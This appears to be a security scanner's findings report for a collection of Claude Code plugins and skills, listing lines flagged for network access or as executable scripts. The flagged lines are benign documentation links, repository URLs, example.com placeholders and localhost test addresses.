harness/claude-code/plugins/software-engineering-team/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/spec-driven-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/structured-autonomy/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT"
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/swift-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/swift-mcp-development/skills/swift-mcp-server-generator/references/project-templates.md

  • Network accessline 20
    dependencies: [         .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 21
    .package(             url: "https://github.com/modelcontextprotocol/swift-sdk.git",             from: "0.10.0"
  • Network accessline 22
    url: "https://github.com/modelcontextprotocol/swift-sdk.git",
  • Network accessline 24
    ),         .package(             url: "https://github.com/apple/swift-log.git",
  • Network accessline 25
    .package(             url: "https://github.com/apple/swift-log.git",             from: "1.5.0"
  • Network accessline 26
    url: "https://github.com/apple/swift-log.git",
  • Network accessline 28
    ),         .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 29
    .package(             url: "https://github.com/swift-server/swift-service-lifecycle.git",             from: "2.0.0"
  • Network accessline 30
    url: "https://github.com/swift-server/swift-service-lifecycle.git",
  • Network accessline 573
    The server uses: - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 574
    - [MCP Swift SDK](https://github.com/modelcontextprotocol/swift-sdk) - MCP protocol implementation
  • Network accessline 575
    - [swift-log](https://github.com/apple/swift-log) - Structured logging
  • Network accessline 576
    - [swift-service-lifecycle](https://github.com/swift-server/swift-service-lifecycle) - Graceful shutdown

harness/claude-code/plugins/technical-spike/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/testing-automation/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/testing-automation/skills/pester-migration/SKILL.md

  • Network accessline 27
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 29
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 41
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 189
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 190
    - Installation: https://pester.dev/docs/introduction/installation.

harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/claude-code/plugins/testing-automation/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/claude-code/plugins/testing-automation/skills/pester-should-migration/SKILL.md

  • Network accessline 121
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 122
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 123
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 124
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 125
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 164
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 165
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 166
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/claude-code/plugins/testing-automation/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/claude-code/plugins/testing-automation/skills/playwright-automation-fill-in-form/SKILL.md

  • Network accessline 24
    - Use Playwright MCP browser automation, not direct HTTP requests, because the task depends on visible form controls and file upload widgets. - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Mi
  • Network accessline 25
    - Navigate to `https://forms.microsoft.com/url-of-my-form` unless the user supplies a different Microsoft Forms URL.
  • Network accessline 59
    **Status:** ready for review | blocked **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 60
    **URL:** `https://forms.microsoft.com/url-of-my-form`
  • Network accessline 75
    - [ ] The browser navigated to `https://forms.microsoft.com/url-of-my-form` or the user-supplied replacement URL.

harness/claude-code/plugins/testing-automation/skills/scoutqa-test/SKILL.md

  • Network accessline 59
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 64
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 65
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 95
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 96
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 113
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 122
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 133
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 134
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 139
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 140
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 145
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 146
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 251
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 301
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 302
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 384
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 386
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 404
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 405
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 406
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 407
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/claude-code/plugins/testing-automation/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 156
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 223
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 224
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 225
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/claude-code/plugins/testing-automation/skills/webapp-testing/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/testing-automation/skills/webapp-testing/SKILL.md

  • Network accessline 68
    browser = p.chromium.launch(headless=True) # Always launch chromium in headless mode     page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready
  • Network accessline 69
    page = browser.new_page()     page.goto('http://localhost:5173') # Server already running and ready     page.wait_for_load_state('networkidle') # CRITICAL: Wait for JS to execute
  • Network accessline 70
    page.goto('http://localhost:5173') # Server already running and ready

harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/console_logging.py

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    url = 'http://localhost:5173'  # Replace with your URL

harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/element_discovery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 10
    page.goto('http://localhost:5173')

harness/claude-code/plugins/testing-automation/skills/webapp-testing/examples/static_html_automation.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/testing-automation/skills/webapp-testing/scripts/with_server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    while time.time() - start_time < timeout:         try:             with socket.create_connection(('localhost', port), timeout=1):
  • Network accessline 27
    try:             with socket.create_connection(('localhost', port), timeout=1):                 return True
  • Network accessline 28
    with socket.create_connection(('localhost', port), timeout=1):

harness/claude-code/plugins/testing-frameworks/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/testing-frameworks/skills/pester-migration/SKILL.md

  • Network accessline 27
    - Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - 
  • Network accessline 29
    - Installation reference: https://pester.dev/docs/introduction/installation.
  • Network accessline 41
    Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5.
  • Network accessline 189
    - [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5)
  • Network accessline 190
    - Installation: https://pester.dev/docs/introduction/installation.

harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v3-to-v4.md

  • Network accessline 6
    Official guide: https://pester.dev/docs/migrations/v3-to-v4
  • Network accessline 29
    There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee
  • Network accessline 30
    that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n
  • Network accessline 31
    https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced
  • Network accessline 74
    cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873.
  • Network accessline 76
    https://github.com/pester/Pester/issues/873.
  • Network accessline 78
    Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81
  • Network accessline 80
    https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.

harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v4-to-v5.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v4-to-v5 ·
  • Network accessline 8
    Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5
  • Network accessline 70
    > `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 72
    > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4.
  • Network accessline 74
    There is a community migration script that does the BeforeAll wrap for you (review its output): https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 75
    https://gist.github.com/nohwnd/d488bd14ab4572f92ae77e208f476ada
  • Network accessline 110
    Prefer `-ForEach` on the block/`It` over a hand-written `foreach`; it both creates the copies and makes the current item available. Use `<_>` (or `<Name>` for hashtable items) in the name to template per-item titles. Reference: https://pest
  • Network accessline 112
    template per-item titles. Reference: https://pester.dev/docs/usage/data-driven-tests.
  • Network accessline 178
    it down) and lets you test internals instead of the published surface. Prefer `-ModuleName` on   `Mock` and on `Should -Invoke`; if you must use `InModuleScope`, keep it inside `It`. See   https://pester.dev/docs/usage/mocking.
  • Network accessline 180
    https://pester.dev/docs/usage/mocking.

harness/claude-code/plugins/testing-frameworks/skills/pester-migration/references/v5-to-v6.md

  • Network accessline 7
    Official guide: https://pester.dev/docs/migrations/v5-to-v6
  • Network accessline 60
    single grand total. The old `Starting discovery in N files.` / `Discovery found X tests` framing is gone for a normal run. The parallel runner (`Run.Parallel`) keeps the same result object with a few edge cases — see https://pester.dev/docs
  • Network accessline 62
    edge cases — see https://pester.dev/docs/usage/result-object#parallel-runner-edge-cases.
  • Network accessline 197
    failure messages. **You do not need to touch your existing `Should -Be` assertions to upgrade**; they keep working. Treat any `Should -Be` → `Should-Be` rewrite as a separate, later effort, not part of this migration. Reference: https://pes
  • Network accessline 199
    part of this migration. Reference: https://pester.dev/docs/commands/Should-Be.

harness/claude-code/plugins/testing-frameworks/skills/pester-should-migration/SKILL.md

  • Network accessline 121
    - `actual/expected` - `case-sensitive` - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 122
    - `case-sensitive` - `https://pester.dev/docs/assertions/should-command` - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 123
    - `https://pester.dev/docs/assertions/should-command`
  • Network accessline 124
    - `https://pester.dev/docs/commands/Should-Be`
  • Network accessline 125
    - `https://pester.dev/docs/migrations/v5-to-v6`
  • Network accessline 164
    - [Should-Be command](https://pester.dev/docs/commands/Should-Be)
  • Network accessline 165
    - [Should assertions concept](https://pester.dev/docs/assertions/should-command)
  • Network accessline 166
    - [Pester v5 to v6 migration](https://pester.dev/docs/migrations/v5-to-v6)

harness/claude-code/plugins/testing-frameworks/skills/pester-should-migration/references/assertion-map.md

  • Network accessline 4
    Pester v6 `Should-*` assertions. Every signature here was taken from the Pester v6 command reference. For the authoritative, always-current parameters and examples, open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`)
  • Network accessline 6
    open `https://pester.dev/docs/commands/Should<Name>` (e.g. `.../Should-Be`).

harness/claude-code/plugins/testing-frameworks/skills/scoutqa-test/SKILL.md

  • Network accessline 59
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 64
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 65
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 95
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 96
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 113
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 122
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 133
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 134
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 139
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 140
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 145
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 146
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 251
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 301
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 302
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 384
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 386
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 404
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 405
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 406
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 407
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/claude-code/plugins/testing-frameworks/skills/unit-test-vue-pinia/SKILL.md

  • Network accessline 156
    Follow Vue Test Utils guidance: <https://test-utils.vuejs.org/guide/>
  • Network accessline 223
    - `references/pinia-patterns.md` - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 224
    - Pinia testing cookbook: <https://pinia.vuejs.org/cookbook/testing.html>
  • Network accessline 225
    - Vue Test Utils guide: <https://test-utils.vuejs.org/guide/>

harness/claude-code/plugins/the-workshop/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "jennyf19"   },   "repository": "https://github.com/jennyf19/the-workshop",
  • Network accessline 7
    },   "repository": "https://github.com/jennyf19/the-workshop",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/jennyf19/the-workshop",

harness/claude-code/plugins/tiny-tool-town-submitter/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"
  • Network accessline 6
    "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"   },
  • Network accessline 7
    "url": "https://github.com/jamesmontemagno"

harness/claude-code/plugins/token-pacman/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"
  • Network accessline 6
    "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"   },
  • Network accessline 7
    "url": "https://github.com/jamesmontemagno"

harness/claude-code/plugins/typescript-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/typescript-mcp-development/skills/typescript-mcp-server-generator/SKILL.md

  • Network accessline 104
    | Transport | Use when | Required details | | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for loca
  • Network accessline 105
    | --- | --- | --- | | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling be
  • Network accessline 106
    | HTTP | Browser, remote, or multi-client usage. | Port from environment, CORS if browser clients need it, stateless versus stateful sessions, DNS rebinding protection for local servers, strict `Content-Type` handling because v2 rejects non

harness/claude-code/plugins/typespec-m365-copilot/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-api-operations/SKILL.md

  • Network accessline 42
    @service @server("https://api.example.com")
  • Network accessline 43
    @server("https://api.example.com")
  • Network accessline 123
    {   "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 124
    "type": "AdaptiveCard",   "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",   "version": "1.5",
  • Network accessline 125
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 136
    ],   "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 137
    "actions": [     { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }   ]
  • Network accessline 138
    { "type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/items/${id}" }
  • Network accessline 269
    - [Adaptive Card schema](http://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 270
    - [Example API endpoint](https://api.example.com)
  • Network accessline 271
    - [Example item URL](https://example.com/items/${id})

harness/claude-code/plugins/typespec-m365-copilot/skills/typespec-create-api-plugin/SKILL.md

  • Network accessline 90
    | Public API | Omit `@useAuth`; do not create placeholder auth models. | | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authoriza
  • Network accessline 91
    | API key in header | `@useAuth(ApiKeyAuth<ApiKeyLocation.header, "X-API-Key">)` | | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenU
  • Network accessline 92
    | OAuth2 authorization code | `@useAuth(OAuth2Auth<[{ type: OAuth2FlowType.authorizationCode; authorizationUrl: "https://oauth.example.com/authorize"; tokenUrl: "https://oauth.example.com/token"; refreshUrl: "https://oauth.example.com/token

harness/claude-code/plugins/uizze/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "UIZZE",     "url": "https://uizze.com"
  • Network accessline 6
    "name": "UIZZE",     "url": "https://uizze.com"   },
  • Network accessline 7
    "url": "https://uizze.com"
  • Network accessline 8
    },   "homepage": "https://uizze.com",   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 9
    "homepage": "https://uizze.com",
  • Network accessline 10
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/uizze/skills/anti-ui-slop/SKILL.md

  • Network accessline 4
    Prevent generic web and iOS interfaces by extracting product-specific design decisions from   repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing U
  • Network accessline 5
    repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this   skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before   choosing a layout, or when the user wants a
  • Network accessline 6
    skill when building, refactoring, or reviewing UI, when asked to browse https://uizze.com before
  • Network accessline 27
    - Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available.
  • Network accessline 48
    Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette.
  • Network accessline 154
    - [UIZZE public catalogue](https://uizze.com)

harness/claude-code/plugins/ux-design-tooling/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt

  • Network accessline 1
    Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt

  • Network accessline 1
    Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt

  • Network accessline 1
    Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/claude-code/plugins/ux-design-tooling/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt

  • Network accessline 1
    Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
